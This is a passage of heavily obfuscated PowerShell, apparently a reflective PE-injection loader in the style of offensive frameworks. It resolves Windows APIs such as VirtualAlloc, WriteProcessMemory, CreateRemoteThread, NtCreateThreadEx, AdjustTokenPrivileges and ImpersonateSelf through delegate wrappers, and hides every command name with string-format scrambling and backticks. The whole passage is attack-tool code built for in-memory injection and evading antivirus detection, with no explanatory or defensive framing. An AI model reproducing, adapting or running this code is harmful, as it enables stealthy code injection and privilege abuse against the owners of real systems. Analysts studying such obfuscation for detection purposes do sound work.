  388.         ${WiN`32CO`NsTa`NtS} | &("{2}{1}{0}" -f'Member','d-','Ad') -MemberType ("{3}{2}{1}{0}" -f 'y','tePropert','o','N') -Name ("{3}{1}{0}{2}{4}" -f'GE','_PRIVILE','_EN','SE','ABLED') -Value 0x2
  389.         ${wIN32cO`Nsta`Nts} | &("{0}{1}{2}" -f'Add-M','emb','er') -MemberType ("{1}{2}{0}{3}"-f 'ePrope','No','t','rty') -Name ("{4}{0}{1}{2}{3}"-f 'O','_','TOK','EN','ERROR_N') -Value 0x3f0
  390.        
  391.         return ${wi`N`32`COnSTaNTS}
  392.     }
  393.     Function Get-`WIn3`2f`U`Nc`TionS
  394.     {
  395.         ${W`In`32FuNC`TiONS} = &('a') ("{1}{2}{3}{0}"-f'ect','System.','O','bj')
  396.        
  397.         ${vIRt`UA`la`LlOCaDDR} = &("{1}{2}{0}{3}" -f'ocAdd','G','et-Pr','ress') ("{1}{2}{0}" -f '.dll','kernel','32') ("{1}{2}{0}" -f 'lloc','Virtua','lA')
  398.         ${v`irtUALA`LLOcdel`Ega`TE} = &("{2}{4}{1}{0}{3}"-f'yp','legateT','Get','e','-De') @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  399.         ${vir`TUAL`Alloc} = [System.Runtime.InteropServices.Marshal]::"gET`DELegATeF`or`F`UNc`TioNpo`IN`TEr"(${VIr`TUAL`AlloCaD`dR}, ${Vi`Rtu`Alal`LoC`dEleGATe})
  400.         ${Win32`FUNc`Tio`NS} | &("{1}{2}{0}"-f'r','Ad','d-Membe') ("{1}{2}{0}"-f'teProperty','N','o') -Name ("{0}{1}{2}"-f'Virtu','alAllo','c') -Value ${VIrTU`ALaLL`oC}
  401.        
  402.         ${V`irTuaL`ALlOC`eXaD`dr} = &("{3}{2}{1}{0}{4}"-f'd','Ad','et-Proc','G','ress') ("{1}{2}{0}"-f'l32.dll','ke','rne') ("{3}{0}{2}{1}"-f 'i','ocEx','rtualAll','V')
  403.         ${viRTuaLA`Ll`OC`ExdEL`e`G`ATE} = &("{4}{3}{2}{0}{1}"-f 'yp','e','-DelegateT','et','G') @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  404.         ${viR`TUAla`lLoC`Ex} = [System.Runtime.InteropServices.Marshal]::"getDE`l`EgA`TE`Fo`Rfu`NC`TIoNPoinT`ER"(${VIrtUAL`ALl`O`CEX`ADDR}, ${V`I`RTU`ALALlOce`XDElEGatE})
  405.         ${W`In3`2f`Unct`iOns} | &("{3}{2}{0}{1}" -f'be','r','d-Mem','Ad') ("{2}{0}{3}{1}" -f 'ote','ty','N','Proper') -Name ("{3}{2}{0}{1}"-f'lAll','ocEx','rtua','Vi') -Value ${vIrTual`A`l`l`oCEx}
  406.        
  407.         ${Me`M`cPyadDr} = &("{2}{0}{3}{1}"-f 'ocA','dress','Get-Pr','d') ("{1}{0}{2}" -f 'svcrt.d','m','ll') ("{1}{0}" -f 'cpy','mem')
  408.         ${M`EM`c`PY`DELegAtE} = &("{2}{3}{1}{0}{4}"-f'teTyp','ega','Get-','Del','e') @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
  409.         ${memc`PY} = [System.Runtime.InteropServices.Marshal]::"G`Et`deleG`AtEF`o`RfuN`cTiOnPoInTeR"(${m`emCpY`AdDr}, ${mEmCPyDE`Le`g`ATe})
  410.         ${W`IN32fUNc`TIONS} | &("{1}{2}{0}" -f'ber','A','dd-Mem') -MemberType ("{3}{1}{2}{0}"-f 'operty','teP','r','No') -Name ("{1}{0}"-f'y','memcp') -Value ${Mem`c`py}
  411.        
  412.         ${M`EMSE`Ta`dDR} = &("{2}{0}{1}{3}" -f'c','Add','Get-Pro','ress') ("{1}{0}{3}{2}" -f'r','msvc','.dll','t') ("{1}{0}" -f 'et','mems')
  413.         ${M`eMSE`TdEle`g`Ate} = &("{1}{2}{0}{3}" -f 'ga','Get-De','le','teType') @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
  414.         ${ME`M`seT} = [System.Runtime.InteropServices.Marshal]::"GE`Td`ELE`gaT`EFOrfUnctiOnpoIN`T`ER"(${MEMse`T`AddR}, ${m`E`mSEtdELeG`Ate})
  415.         ${w`In32FuNc`TI`o`Ns} | &("{1}{2}{0}"-f'mber','Add','-Me') -MemberType ("{1}{0}{2}" -f 'te','No','Property') -Name ("{1}{0}{2}"-f'm','me','set') -Value ${m`em`seT}
  416.        
  417.         ${loAdli`BRa`R`yadDr} = &("{2}{3}{1}{0}"-f 's','cAddres','Get-P','ro') ("{0}{1}{3}{2}"-f'ker','nel','2.dll','3') ("{3}{1}{0}{2}"-f 'dLi','oa','braryA','L')
  418.         ${LOaD`liBR`A`RyDEl`E`G`ATe} = &("{0}{2}{3}{1}" -f'Get-Del','pe','eg','ateTy') @([String]) ([IntPtr])
  419.         ${LoAdLI`B`Ra`Ry} = [System.Runtime.InteropServices.Marshal]::"GE`T`DelEGATEfO`Rf`Unc`TIoNpoINT`eR"(${lO`AD`Lib`RARy`AdDR}, ${L`oA`dl`IbrAr`y`De`lEGAte})
  420.         ${win3`2`Fu`N`Ctions} | &("{0}{2}{1}" -f 'Add','ember','-M') -MemberType ("{0}{1}{2}"-f'No','teP','roperty') -Name ("{1}{3}{2}{0}" -f 'brary','Lo','Li','ad') -Value ${LOA`dli`BrAry}
  421.        
  422.         ${g`e`TpRocAD`DRe`ss`ADdR} = &("{2}{0}{1}" -f'-ProcAdd','ress','Get') ("{1}{2}{0}" -f'dll','kern','el32.') ("{0}{2}{1}{3}" -f'GetProc','dre','Ad','ss')
  423.         ${G`etprOc`ADD`RE`ssDele`GA`Te} = &("{0}{3}{1}{2}"-f'Ge','Delegat','eType','t-') @([IntPtr], [String]) ([IntPtr])
  424.         ${G`E`TPrOCA`dDrEss} = [System.Runtime.InteropServices.Marshal]::"geTdE`Le`G`AT`EfoRfU`NcT`I`ONPOI`NTer"(${GeTp`Ro`cAddrEs`S`AdDr}, ${gETPRo`C`AddresS`DE`l`E`gaTE})
  425.         ${W`i`N32fUN`ct`iONs} | &("{0}{2}{1}"-f 'A','er','dd-Memb') -MemberType ("{3}{2}{0}{1}"-f'pe','rty','ro','NoteP') -Name ("{1}{3}{0}{2}"-f'dd','GetPro','ress','cA') -Value ${GeT`PR`O`ca`DdRess}
  426.        
  427.         ${g`ETPr`OCa`DD`Res`sIntptrad`dr} = &("{3}{0}{2}{1}"-f 'r','dress','ocAd','Get-P') ("{0}{1}{2}" -f'ke','rnel','32.dll') ("{2}{0}{1}"-f'd','ress','GetProcAd')
  428.         ${getPROc`Ad`drES`sINt`p`Tr`DeLEG`A`Te} = &("{0}{1}{2}" -f'Get-Deleg','at','eType') @([IntPtr], [IntPtr]) ([IntPtr])
  429.         ${GET`PR`OCAd`D`RessI`NtP`Tr} = [System.Runtime.InteropServices.Marshal]::"GE`TDeleGaT`E`FORFUNc`TI`ONP`oiNter"(${g`ETProcA`DdREsS`IN`TpTRaD`Dr}, ${g`e`T`PR`oc`AddRE`S`siNTpTRdele`GATE})
  430.         ${wIn3`2fUnC`TIo`Ns} | &("{1}{0}{2}{3}"-f'd-','Ad','M','ember') -MemberType ("{2}{3}{0}{1}" -f 'P','roperty','N','ote') -Name ("{3}{2}{1}{0}{4}"-f 'In','ess','ProcAddr','Get','tPtr') -Value ${geTp`R`O`CaDd`RE`ssIntptR}
  431.        
  432.         ${VI`RtU`AlFrEEaD`dr} = &("{2}{3}{1}{0}{4}"-f 'r','Add','Get-Pr','oc','ess') ("{0}{3}{1}{2}" -f 'k','rnel3','2.dll','e') ("{1}{2}{0}"-f'ee','Vi','rtualFr')
  433.         ${vIR`TU`Alf`ReEd`ELEgA`Te} = &("{3}{2}{0}{1}"-f 'y','pe','eT','Get-Delegat') @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
  434.         ${V`IrtU`ALFree} = [System.Runtime.InteropServices.Marshal]::"gETD`e`Le`GA`TEF`ORFuNCTioN`pOInteR"(${v`iRtua`L`Fr`EeaDDR}, ${VIr`T`UalFree`dE`le`gatE})
  435.         ${wI`N`32FU`NctIONS} | &("{2}{1}{0}"-f'er','Memb','Add-') ("{0}{1}{3}{2}"-f'No','te','erty','Prop') -Name ("{0}{3}{2}{1}" -f'V','lFree','ua','irt') -Value ${virt`UaL`FreE}
  436.        
  437.         ${v`I`RTua`LfRee`ExaD`dr} = &("{3}{2}{0}{4}{1}"-f'rocAdd','ss','-P','Get','re') ("{1}{2}{0}{3}"-f'l','k','erne','32.dll') ("{1}{3}{4}{2}{0}" -f 'alFreeEx','Vi','u','r','t')
  438.         ${V`irTUa`lFr`Eee`x`dELegA`Te} = &("{4}{3}{2}{1}{0}"-f'egateType','el','D','-','Get') @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
  439.         ${vi`Rt`UAlFReEeX} = [System.Runtime.InteropServices.Marshal]::"G`etD`ELE`g`ATeFORfuNC`TI`oNP`OIN`Ter"(${v`Ir`TuA`Lf`ReEexaDdr}, ${VIRTUALF`RE`eeXD`e`lE`gATE})
  440.         ${w`I`N32FuN`CtIons} | &("{0}{2}{1}"-f 'Add','ber','-Mem') ("{2}{1}{0}" -f 'y','t','NoteProper') -Name ("{0}{1}{2}" -f 'V','irtu','alFreeEx') -Value ${v`irTua`LfrEE`ex}
  441.        
  442.         ${V`IRTUAl`PrOt`eC`TAddr} = &("{3}{0}{2}{1}" -f 'cAddr','ss','e','Get-Pro') ("{0}{2}{3}{1}" -f 'ke','dll','rnel','32.') ("{2}{1}{0}"-f'ect','irtualProt','V')
  443.         ${virtUAL`proTeCTdE`lEg`A`TE} = &("{4}{1}{3}{2}{0}"-f'Type','le','ate','g','Get-De') @([IntPtr], [UIntPtr], [UInt32], [UInt32]."m`A`Keby`ReF`TyPe"()) ([Bool])
  444.         ${vi`Ss} = [System.Runtime.InteropServices.Marshal]::"g`ETde`leGaTE`FoRF`Un`CTiOnPO`iNter"(${v`Ir`TUAl`PRoTEcTa`D`DR}, ${V`i`Rtual`PrOtEcTD`e`LeGAtE})
  445.         ${w`IN`32FUn`CTIO`NS} | &("{1}{0}{2}"-f 'dd-Me','A','mber') ("{3}{2}{1}{0}" -f 'ty','per','o','NotePr') -Name ("{1}{3}{0}{2}" -f'Pr','Vi','otect','rtual') -Value ${v`isS}
  446.        
  447.         ${getMODULeHaN`d`L`Ead`DR} = &("{1}{2}{4}{0}{3}"-f'Addres','G','et','s','-Proc') ("{0}{2}{1}"-f'ke','l32.dll','rne') ("{0}{2}{4}{1}{3}"-f 'GetM','ndl','odu','eA','leHa')
  448.         ${GET`MOD`Ul`eHaNDl`EdelegaTE} = &("{0}{1}{2}{3}" -f 'G','et','-Delega','teType') @([String]) ([IntPtr])
  449.         ${gETModu`LeHa`Nd`LE} = [System.Runtime.InteropServices.Marshal]::"GEtdE`lEGatEFoRFUnc`T`I`ONPOi`N`TeR"(${gEtmodu`lEh`AnD`l`EAdDr}, ${geT`MoD`UleHa`NDLedElEG`AtE})
  450.         ${wIn`32FUNCT`I`Ons} | &("{2}{1}{0}"-f 'Member','dd-','A') ("{2}{1}{0}"-f 'y','Propert','Note') -Name ("{2}{3}{0}{1}" -f'ule','Handle','G','etMod') -Value ${Ge`Tm`odu`lEhA`NDLe}
  451.        
  452.         ${f`R`eELIb`Rar`yAdDR} = &("{2}{3}{1}{0}"-f 'ess','ProcAddr','Ge','t-') ("{2}{1}{0}"-f'dll','nel32.','ker') ("{1}{2}{0}"-f 'ibrary','Fre','eL')
  453.         ${fR`EeLibRA`RYdE`LeG`AtE} = &("{3}{2}{0}{1}{4}" -f'eleg','ateTyp','t-D','Ge','e') @([IntPtr]) ([Bool])
  454.         ${FREeLi`B`RARY} = [System.Runtime.InteropServices.Marshal]::"GET`d`ELeGatefo`RF`U`NCtiO`NPoInter"(${F`R`eE`lIBraRYadDr}, ${Fre`ElibRA`RYDe`LE`gaTe})
  455.         ${wIN32FU`N`cT`IonS} | &("{1}{2}{0}" -f 'mber','Add-M','e') -MemberType ("{2}{1}{0}{3}"-f'ert','rop','NoteP','y') -Name ("{3}{1}{2}{0}"-f'y','ree','Librar','F') -Value ${F`REEl`iB`RARY}
  456.        
  457.         ${O`P`En`PrOcE`SSadDR} = &("{1}{3}{0}{2}"-f 'ddres','Get-P','s','rocA') ("{1}{0}{3}{2}" -f 'e','k','l32.dll','rne') ("{3}{2}{1}{0}" -f 'ess','oc','r','OpenP')
  458.         ${Op`ENpRo`CeSsDE`l`EG`Ate} = &("{0}{3}{4}{1}{2}"-f'Get','gateT','ype','-','Dele') @([UInt32], [Bool], [UInt32]) ([IntPtr])
  459.         ${oP`eNp`ROcESS} = [System.Runtime.InteropServices.Marshal]::"G`ET`DeLegATeF`ORfUN`C`Ti`ONPoIntER"(${oPe`NPROce`SSa`ddr}, ${o`PenpR`OCe`ssdEL`egatE})
  460.         ${wIn32fU`Nc`TIONs} | &("{0}{1}{2}" -f 'Add-M','em','ber') -MemberType ("{3}{0}{2}{1}"-f'otePr','ty','oper','N') -Name ("{1}{3}{0}{2}" -f 'ce','O','ss','penPro') -Value ${OpEn`PR`Oc`eSs}
  461.        
  462.         ${WaItFoRs`ing`LEo`B`JE`CtadDR} = &("{2}{3}{1}{4}{0}"-f 'ss','c','Ge','t-Pro','Addre') ("{0}{2}{3}{1}"-f 'k','el32.dll','er','n') ("{3}{1}{4}{5}{2}{0}"-f'ect','itFor','Obj','Wa','Si','ngle')
  463.         ${WaITFOrS`iNGlEOb`Je`CtdEL`eg`Ate} = &("{4}{3}{1}{0}{2}" -f 'ega','l','teType','De','Get-') @([IntPtr], [UInt32]) ([UInt32])
  464.         ${w`A`iTFO`RSi`Ngle`o`BJECT} = [System.Runtime.InteropServices.Marshal]::"GetDe`le`GATEFo`Rf`UNC`TioNPOIn`TeR"(${wa`itFor`S`I`NGlEOBJE`CtaddR}, ${Waitfo`RSINGleoB`jE`CtDeLe`g`ATE})
  465.         ${WiN32fUn`CTI`Ons} | &("{1}{2}{0}"-f 'r','Add-M','embe') -MemberType ("{1}{0}{2}"-f 'pert','NotePro','y') -Name ("{3}{0}{2}{1}"-f'rSin','ject','gleOb','WaitFo') -Value ${wA`iTfOrS`i`N`glEO`B`jECt}
  466.        
  467.         ${wr`it`EpROc`Essm`EMorY`ADDR} = &("{3}{1}{2}{0}" -f 'ddress','t-','ProcA','Ge') ("{2}{1}{0}" -f'l','.dl','kernel32') ("{1}{3}{2}{0}{5}{4}"-f'm','W','teProcessMe','ri','y','or')
  468.         ${WRiTEpR`oces`SmemorYdeLE`g`A`Te} = &("{2}{3}{0}{1}" -f 'p','e','Get-Delegat','eTy') @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr]."MaKeb`yREfT`Ype"()) ([Bool])
  469.         ${dfv`yy} = [System.Runtime.InteropServices.Marshal]::"GetDELEgatEf`ORf`Un`c`T`IOnPoINter"(${w`Ri`Tep`ROcEssmemOr`yADDr}, ${W`RI`TEP`Ro`ceSSMEmo`RY`DEleGa`Te})
  470.         ${W`IN32fUNC`TIoNS} | &("{2}{1}{0}" -f 'd-Member','d','A') -MemberType ("{2}{1}{0}{3}" -f 'tePro','o','N','perty') -Name ("{2}{5}{0}{3}{4}{1}" -f'ite','emory','W','Process','M','r') -Value ${D`FVyy}
  471.        
  472.         ${reaDpROc`e`Ss`MEMo`R`y`AdDr} = &("{3}{0}{1}{2}{4}"-f 'oc','A','ddr','Get-Pr','ess') ("{3}{0}{1}{2}"-f'l32.','dl','l','kerne') ("{5}{4}{0}{1}{2}{3}" -f'ce','ssM','emo','ry','dPro','Rea')
  473.         ${rEa`dP`RoC`EsSm`EmOrY`d`E`LEGate} = &("{3}{1}{4}{0}{2}" -f'a','ele','teType','Get-D','g') @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr]."mAK`Ebyr`eftYPe"()) ([Bool])
  474.         ${R`Eadp`ROC`EssME`Mory} = [System.Runtime.InteropServices.Marshal]::"GETdELeg`ATEfOrf`UN`cTI`OnPO`InteR"(${reAdPR`OcEssm`EM`OrYAdDr}, ${ReAd`P`R`oCeSS`m`EmORyDELeg`AtE})
  475.         ${wIn32f`UNc`T`I`ons} | &("{3}{2}{1}{0}" -f'ember','d-M','d','A') -MemberType ("{0}{2}{1}{3}"-f'Note','o','Pr','perty') -Name ("{2}{5}{1}{0}{3}{4}" -f'm','ProcessMe','Rea','o','ry','d') -Value ${Rea`dPrO`c`es`sMEmoRY}
  476.        
  477.         ${cRE`A`TeremotET`H`READaD`dR} = &("{3}{0}{2}{1}" -f 'et-','ddress','ProcA','G') ("{1}{3}{0}{2}" -f'n','ke','el32.dll','r') ("{0}{3}{1}{2}{4}"-f 'Cr','eRemo','teT','eat','hread')
  478.         ${C`REaTer`eMot`Et`h`Re`A`DDeLegAtE} = &("{2}{0}{1}{3}"-f 'lega','teTyp','Get-De','e') @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
  479.         ${Cr`eAt`ER`E`MOT`etHrEAD} = [System.Runtime.InteropServices.Marshal]::"gE`TDElegAtEFo`RfuNc`TionP`oi`NtER"(${cR`E`ATERemOTETh`R`e`AD`ADdR}, ${cReatERe`M`o`TeTH`ReAdD`e`le`ga`Te})
  480.         ${w`iN3`2`FUNCTioNS} | &("{2}{3}{1}{0}"-f'er','b','Add-Me','m') -MemberType ("{0}{3}{1}{2}"-f'NoteP','op','erty','r') -Name ("{4}{0}{2}{3}{1}"-f 'a','hread','teRemot','eT','Cre') -Value ${cReaTERe`mot`ET`hRE`AD}
  481.        
  482.         ${ge`T`e`XITC`o`deTHREadaddr} = &("{1}{0}{3}{2}"-f'd','Get-ProcA','ess','dr') ("{0}{2}{1}"-f 'kernel32','ll','.d') ("{1}{2}{0}{3}"-f'r','GetExi','tCodeTh','ead')
  483.         ${gEt`EXI`T`c`ODe`TH`REaDdEleGAtE} = &("{2}{0}{1}{3}" -f'egate','T','Get-Del','ype') @([IntPtr], [Int32]."M`AKE`By`ReFtYPE"()) ([Bool])
  484.         ${GE`Te`XItCODe`ThreAD} = [System.Runtime.InteropServices.Marshal]::"gE`TDeL`eG`ATEfOrfUN`ctiOnpoI`NtER"(${geTEXi`TCodE`THREA`DAddr}, ${GE`T`exitCODE`Th`REadDEL`eGA`Te})
  485.         ${wI`N32`F`UnctIO`NS} | &("{0}{1}{2}" -f 'A','d','d-Member') -MemberType ("{3}{1}{0}{2}"-f'ope','r','rty','NoteP') -Name ("{0}{1}{2}{3}{4}"-f 'Ge','tE','xit','CodeT','hread') -Value ${GeTEXiTc`ode`T`HrEAd}
  486.        
  487.         ${o`pEN`Th`REad`TOKEN`ADdr} = &("{1}{2}{3}{4}{0}" -f 's','Ge','t-Pr','ocAddr','es') ("{0}{3}{1}{2}" -f'A','v','api32.dll','d') ("{3}{1}{0}{2}"-f 'read','nTh','Token','Ope')
  488.         ${o`p`E`NthrEaD`TOKende`leGATE} = &("{3}{0}{2}{1}"-f'eleg','eType','at','Get-D') @([IntPtr], [UInt32], [Bool], [IntPtr]."ma`KeBY`R`eFty`pe"()) ([Bool])
  489.         ${Ope`Nt`HRE`AD`TOkEn} = [System.Runtime.InteropServices.Marshal]::"GeT`D`e`legaTe`FORFUN`cTi`O`NPo`IntER"(${OpEn`Th`Rea`d`T`oK`eNADdr}, ${oP`en`T`hr`eAd`TOkeNdeL`EgATE})
  490.         ${wIN32FU`N`CtIoNs} | &("{2}{0}{1}"-f'-Mem','ber','Add') -MemberType ("{1}{3}{0}{2}" -f'pert','Note','y','Pro') -Name ("{0}{2}{3}{4}{1}" -f'O','en','penT','hread','Tok') -Value ${OpEnT`Hr`eaD`ToKen}
  491.        
  492.         ${G`e`TCurR`ENT`THrEAdaDDr} = &("{2}{4}{3}{0}{1}" -f'dres','s','Get','cAd','-Pro') ("{2}{1}{0}{3}" -f '2.','rnel3','ke','dll') ("{4}{0}{1}{3}{2}"-f'Curren','tT','read','h','Get')
  493.         ${GE`T`CUrr`e`N`TTHREAD`dELe`GatE} = &("{4}{1}{0}{3}{2}{5}"-f 'e','et-D','teTyp','lega','G','e') @() ([IntPtr])
  494.         ${GE`TCUrr`enTthRE`AD} = [System.Runtime.InteropServices.Marshal]::"GET`d`E`Le`GAtEfoRF`Unc`TiOnPO`INTeR"(${g`EtCurreNt`Th`ReadaDdR}, ${GEtcUr`R`ENTth`Read`d`eLe`G`Ate})
  495.         ${wIn32FU`N`c`TIonS} | &("{2}{0}{1}"-f 'd','d-Member','A') -MemberType ("{1}{2}{3}{0}"-f 'rty','Note','Prop','e') -Name ("{0}{3}{1}{4}{2}" -f 'GetCurre','h','ad','ntT','re') -Value ${gEt`Cu`R`ReNTTH`R`eaD}
  496.        
  497.         ${AD`j`UstToKe`N`PRIVI`leg`E`SaDDr} = &("{1}{2}{3}{4}{0}"-f's','Ge','t','-Pro','cAddres') ("{2}{0}{1}" -f 'va','pi32.dll','Ad') ("{5}{4}{1}{0}{2}{3}"-f 'oken','T','Privi','leges','t','Adjus')
  498.         ${ADJuSTto`KENpr`iV`Ilegesd`EleGaTe} = &("{2}{3}{0}{1}"-f 'ateTyp','e','Get-De','leg') @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
  499.         ${Adj`U`sTtoK`eNpR`IvIlEgEs} = [System.Runtime.InteropServices.Marshal]::"gETd`El`Ega`TEF`ORF`Un`cTIONpOIN`T`eR"(${ADJUstTO`K`En`PRivILeGES`AdDR}, ${ad`j`Usttok`e`NP`RIvilEgeSD`EL`EGa`Te})
  500.         ${wIN32f`UN`cTIoNS} | &("{2}{0}{1}" -f '-Mem','ber','Add') -MemberType ("{2}{1}{0}"-f 'y','ropert','NoteP') -Name ("{0}{5}{4}{6}{3}{2}{1}"-f'Adj','s','ege','ivil','ken','ustTo','Pr') -Value ${A`DjUStT`OKENprI`Vi`L`egES}
  501.        
  502.         ${LO`o`kuppriviLE`ge`Va`LUe`ADDr} = &("{3}{0}{1}{2}" -f 'ProcAddr','es','s','Get-') ("{0}{2}{1}"-f 'Advapi32','dll','.') ("{1}{3}{0}{2}"-f 'rivilegeV','Loo','alueA','kupP')
  503.         ${LOO`k`Up`PRI`VilE`geVal`UeDelEGatE} = &("{1}{0}{3}{2}"-f't-','Ge','elegateType','D') @([String], [String], [IntPtr]) ([Bool])
  504.         ${LookuP`Pr`iv`Il`eGeval`UE} = [System.Runtime.InteropServices.Marshal]::"g`eTDEl`Eg`At`efOrFUNCt`I`ONpoiNt`eR"(${lookuPPRIvI`l`EgeVA`LUeA`d`Dr}, ${l`o`OkUpPRIV`I`LeGe`Val`UEdEl`ega`TE})
  505.         ${wiN`32`F`UNCTioNS} | &("{0}{1}{2}"-f 'Add','-M','ember') -MemberType ("{1}{0}{2}" -f'ePropert','Not','y') -Name ("{0}{4}{3}{1}{2}"-f 'Lookup','geVa','lue','rivile','P') -Value ${LO`OKU`Pp`RI`VI`LegeV`AlUe}
  506.        
  507.         ${imPe`RSOnatEsE`Lfad`dr} = &("{3}{1}{0}{2}"-f'roc','-P','Address','Get') ("{3}{1}{2}{0}"-f 'l','vapi32.','dl','Ad') ("{1}{3}{2}{0}"-f'f','Impers','eSel','onat')
  508.         ${i`mPEr`sOnAT`eSElFDeLEga`TE} = &("{3}{1}{2}{4}{0}"-f'e','Del','egate','Get-','Typ') @([Int32]) ([Bool])
  509.         ${i`MPersOn`AT`esELf} = [System.Runtime.InteropServices.Marshal]::"gE`TDELeg`ATEfORF`Un`CTiON`P`OINtER"(${i`M`perSo`Na`TESE`lfaDdr}, ${IMP`er`sOnaTeSELFDe`L`EGAtE})
  510.         ${WIN3`2`F`UnCTIoNS} | &("{0}{1}{2}" -f 'Add-','M','ember') -MemberType ("{2}{1}{0}" -f'perty','ePro','Not') -Name ("{4}{3}{0}{2}{1}"-f 'sona','lf','teSe','per','Im') -Value ${iMp`ERSOnaT`e`sE`lf}
  511.        
  512.         if (([Environment]::"oSv`er`si`on"."vE`RsION" -ge (&('a') 'Version' 6,0)) -and ([Environment]::"O`SvEr`SION"."VER`Sion" -lt (&('a') 'Version' 6,2))) {
  513.             ${ntc`ReatE`T`HREADExAdDr} = &("{1}{0}{2}" -f'roc','Get-P','Address') ("{0}{1}{2}"-f 'Nt','Dl','l.dll') ("{0}{1}{3}{2}" -f 'Nt','Cre','eThreadEx','at')
  514.             ${Nt`c`Reate`T`hR`EAD`ExDELEGatE} = &("{0}{3}{1}{2}{4}" -f'G','De','l','et-','egateType') @([IntPtr]."Ma`K`EBYr`eFTYpe"(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
  515.             ${nT`cRe`AteThreA`deX} = [System.Runtime.InteropServices.Marshal]::"ge`TDElEg`ATEF`o`R`FUNcTIonPOiNTeR"(${N`TC`Re`A`T`E`THReaDExADDr}, ${ntCR`Ea`TEtHrEadEXdE`leGa`Te})
  516.             ${wi`N`32fUnc`Tions} | &("{2}{0}{1}"-f 'dd-Mem','ber','A') -MemberType ("{0}{2}{1}{3}" -f'N','tePro','o','perty') -Name ("{2}{5}{0}{3}{1}{4}"-f 'e','hread','Nt','T','Ex','Creat') -Value ${ntCre`ATEt`hR`ead`Ex}
  517.         }
  518.        
  519.         ${iswoW`64`p`R`O`ceSs`ADDR} = &("{3}{0}{1}{2}" -f'r','o','cAddress','Get-P') ("{1}{2}{0}" -f'.dll','Ke','rnel32') ("{3}{2}{1}{0}"-f'ss','ce','ro','IsWow64P')
  520.         ${ISwOW64procE`sSDe`LeG`A`Te} = &("{0}{2}{3}{1}"-f 'Ge','egateType','t-','Del') @([IntPtr], [Bool]."m`Ak`ebY`ReFT`YPe"()) ([Bool])
  521.         ${Iswo`w64P`RoC`EsS} = [System.Runtime.InteropServices.Marshal]::"g`ETdELeGA`TEfo`RfuNcTIonp`OInT`er"(${is`wOW64`ProcE`Ss`Ad`dr}, ${IswOw`64Pro`CE`s`sdeLEga`Te})
  522.         ${WIN`32FuNc`T`Io`Ns} | &("{1}{2}{0}{3}"-f 'b','A','dd-Mem','er') -MemberType ("{2}{1}{3}{0}" -f 'rty','t','No','ePrope') -Name ("{3}{1}{4}{0}{2}" -f'4Proces','w','s','IsWo','6') -Value ${isW`OW6`4p`RoCEsS}
  523.        
  524.         ${crE`ATet`hrEada`dDR} = &("{1}{3}{2}{0}" -f's','Ge','ddres','t-ProcA') ("{0}{2}{1}{3}" -f 'Ke','ne','r','l32.dll') ("{2}{0}{1}" -f'reateThre','ad','C')
  525.         ${C`RE`Ate`THREAd`dE`leGATe} = &("{3}{2}{1}{0}"-f 'ateType','eg','el','Get-D') @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32]."mAkEbYRe`FTY`Pe"()) ([IntPtr])
  526.         ${cREa`Teth`R`eAd} = [System.Runtime.InteropServices.Marshal]::"GE`TdELEgAtEf`ORfUNCTiOnpo`I`N`TEr"(${Cr`EAt`eT`HreadAd`DR}, ${C`Rea`TetH`ReA`Dd`elEGAtE})
  527.         ${WIn32`FUn`c`TIOns} | &("{3}{0}{1}{2}" -f 'm','be','r','Add-Me') -MemberType ("{1}{3}{0}{2}"-f't','NotePro','y','per') -Name ("{2}{1}{0}" -f'hread','T','Create') -Value ${cReaT`E`Thr`EAd}
  528.        
  529.         return ${W`iN3`2FuN`CtIO`Ns}
  530.     }
  531.     Function S`Ub`-SiG`NEdI`NTaS`Unsi`Gn`Ed
  532.     {
  533.         Param(
  534.         [Parameter(pOsItIOn = 0, maNDaTOry = ${t`RUe})]
  535.         [Int64]
  536.         ${vA`LuE1},
  537.        
  538.         [Parameter(pOSitIon = 1, manDaTORY = ${Tr`Ue})]
  539.         [Int64]
  540.         ${vAl`Ue2}
  541.         )
  542.        
  543.         [Byte[]]${v`A`luE`1BYtES} = [BitConverter]::"GETby`T`es"(${V`AlU`e1})
  544.         [Byte[]]${VaLue`2`ByteS} = [BitConverter]::"g`eT`Bytes"(${V`A`lue2})
  545.         [Byte[]]${FI`NaLByT`ES} = [BitConverter]::"Ge`TByt`eS"([UInt64]0)
  546.         if (${VaL`U`E1`BYTes}."cO`Unt" -eq ${val`U`E2`Bytes}."cO`UNt")
  547.         {
  548.             ${cAR`RY`over} = 0
  549.             for (${I} = 0; ${I} -lt ${V`AlU`E1`BYteS}."cou`Nt"; ${i}++)
  550.             {
  551.                 ${v`AL} = ${valU`e1BY`TES}[${i}] - ${C`A`RRyovER}
  552.                
  553.                 if (${V`AL} -lt ${VA`LU`e2ByTES}[${i}])
  554.                 {
  555.                     ${V`Al} += 256
  556.                     ${Ca`RrYOV`er} = 1
  557.                 }
  558.                 else
  559.                 {
  560.                     ${Ca`RrYO`VEr} = 0
  561.                 }
  562.                
  563.                
  564.                 [UInt16]${s`Um} = ${V`AL} - ${valuE2B`y`T`Es}[${I}]
  565.                 ${fi`NAlb`y`TEs}[${i}] = ${S`Um} -band 0x00FF
  566.             }
  567.         }
  568.         else
  569.         {
  570.             Throw ""
  571.         }
  572.        
  573.         return [BitConverter]::"To`Int`64"(${Fi`N`ALbYTES}, 0)
  574.     }
  575.    
  576.     Function AdD-siGneDi`N`Tasu`N`sIGNED
  577.     {
  578.         Param(
  579.         [Parameter(PoSition = 0, MandaTORy = ${tR`UE})]
  580.         [Int64]
  581.         ${vAlU`e1},
  582.        
  583.         [Parameter(poSITiON = 1, maNdatORy = ${T`RUE})]
  584.         [Int64]
  585.         ${vAL`U`e2}
  586.         )
  587.        
